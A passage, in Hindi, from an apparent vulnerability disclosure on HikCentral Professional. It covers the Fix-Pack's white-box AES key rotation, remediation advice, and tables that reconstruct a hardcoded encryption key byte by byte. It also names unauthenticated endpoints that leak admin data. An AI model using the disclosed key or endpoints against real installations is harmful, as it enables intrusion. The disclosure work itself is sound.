Fix-Pack एक अतिरिक्त चलने वाला भाग भेजता है जिसकी V2.6.3 रिलीज़ को आवश्यकता नहीं है: एक **व्हाइटबॉक्स-AES डिक्रिप्टर** (`wbext_dec.exe`, स्रोत पथ लीक करता है `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`, अपने स्वयं के `fixed_iv_16byte` IV लिटरल का उपयोग करता है) और एक **244-बाइट AES-128-CFB सिफरटेक्स्ट** (`wbaes_key_dec`). डिक्रिप्टर सिफरटेक्स्ट ब्लॉब लेता है और एक नई प्लेनटेक्स्ट कुंजी उत्पन्न करता है, जिसे Fix-Pack इंस्टॉलर मौजूदा V2.6.2 इंस्टॉलेशन पर बाइनरी-एम्बेडेड QR कुंजी को घुमाने के लिए HCMP के स्टोरेज में लिखता है। व्हाइटबॉक्स-AES का उपयोग यहाँ पूरी तरह से घुमाई गई कुंजी को निरीक्षण द्वारा पैच आर्टिफैक्ट से वापस निकालने के लिए असुविधाजनक बनाने के लिए किया जाता है — वही रक्षात्मक तकनीक जो DRM सिस्टम द्वारा उपयोग की जाती है।
---
## 13. अनुशंसित सुधार कार्रवाइयाँ (जारी किए गए पैच से परे)
1. **CDN से अनाथ इंस्टॉलर बाइनरी को हटाएँ।** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` अभी भी 29 दिन पुराने एज-कैश हिट के साथ HTTP/2 200 सर्व करता है। यही बात V2.6.0, V2.5.1 आदि के लिए भी सत्य है — कमजोर रेंज का हर इंस्टॉलर अभी भी सीधे URL से पहुंच योग्य है। पेज-स्तरीय डीलिस्टिंग कॉस्मेटिक है।
2. **`RetrieveStateInfo` और `GetSecurityQuestionCommBeforeLogin` को प्रमाणित करें।** दोनों V2.6.3 में भी अज्ञात कॉलर्स को व्यवस्थापक ईमेल और रिकवरी-कॉन्फ़िगरेशन मेटाडेटा लीक करते हैं; फिक्स द्वारा किसी को भी नहीं छुआ गया।
3. **क्रिप्टोग्राफिक कुंजी सामग्री के रूप में ASCII-प्लेसहोल्डर स्थिरांक का उपयोग बंद करें।** `WwXxYyZz1234!@#$` उस तरह का मान है जो "कोड रिव्यू बाय स्किम" से बच जाता है। पहले रन पर प्रति-इंस्टॉल रैंडम सामग्री से बदलें; यदि पिछड़ी संगतता के लिए बाइनरी-एम्बेडेड फ़ॉलबैक की आवश्यकता है, तो कम से कम इसे इंस्टॉलेशन-विशिष्ट स्थिति (मशीन GUID, इंस्टॉल टाइमस्टैम्प) के हैश से प्राप्त करें ताकि यह प्रति-डिप्लॉयमेंट भिन्न हो।
4. **“IV को गुप्त रखने की आवश्यकता नहीं है” को एक लाइसेंस नहीं, बल्कि एक फुटगन के रूप में मानें।** डिस्क्लोज़र के बाद भी IV लिटरल को रखना CBC में गणितीय रूप से बचाव योग्य है, लेकिन एक बार डिफ़ द्वारा रोटेशन को केवल-कुंजी के रूप में उजागर करने पर अनावश्यक हमलावर सुविधा उत्पन्न करता है।
5. **`ChangeDefault*` एंडपॉइंट्स के परिवार के लिए, Nginx कॉन्फ़िग प्रतिबंध के बजाय एप्लिकेशन लेयर पर Unix-domain-socket / loopback-केवल लिसनर को प्राथमिकता दें।** एक कॉन्फ़िग फ़ाइल बग को पुनः प्रस्तुत करने से एक गलत संपादन दूर है; C++ सेवा में `bind 127.0.0.1` संरचनात्मक रूप से सुरक्षित है।
| Archive | Contents |
|---|
246/Nginx + 246/www | Nginx वेब टियर (सामने का दरवाजा) और SPA वेब UI |
244/bin | नेटिव C++ सेवा बाइनरी + प्रमाणपत्र |
240 | बंडल PostgreSQL + डीबी इनिशियलाइज़ेशन स्क्रिप्ट |
238 | Bee* रनटाइम (BeeAgent, BeeGuard, …) |
282 | एप्लिकेशन सेवाएं और ऐडऑन (C++ बैकएंड कोड का बड़ा हिस्सा) |
281, 283-284, 396, 398-399, 513, 520, 538-541, 573 | छोटे ऐडऑन, प्लगइन, अपग्रेड/अनइंस्टॉल स्टब्स |
| pos | offset | byte | char |
|---|
| 0 | +22 | 0x57 | W |
| 1 | +54 | 0x77 | w |
| 2 | +23 | 0x58 | X |
| 3 | +55 | 0x78 | x |
| 4 | +24 | 0x59 | Y |
| 5 | +56 | 0x79 | y |
| 6 | +25 | 0x5A | Z |
| 7 | +57 | 0x7A | z |
| 8 | −16 | 0x31 | 1 |
| 9 | −15 | 0x32 | 2 |
| 10 | −14 | 0x33 | 3 |
| 11 | −13 | 0x34 | 4 |
| 12 | −32 | 0x21 | ! |
| 13 | −1 | 0x40 | @ |
| 14 | −30 | 0x23 | # |
| 15 | −29 | 0x24 | $ |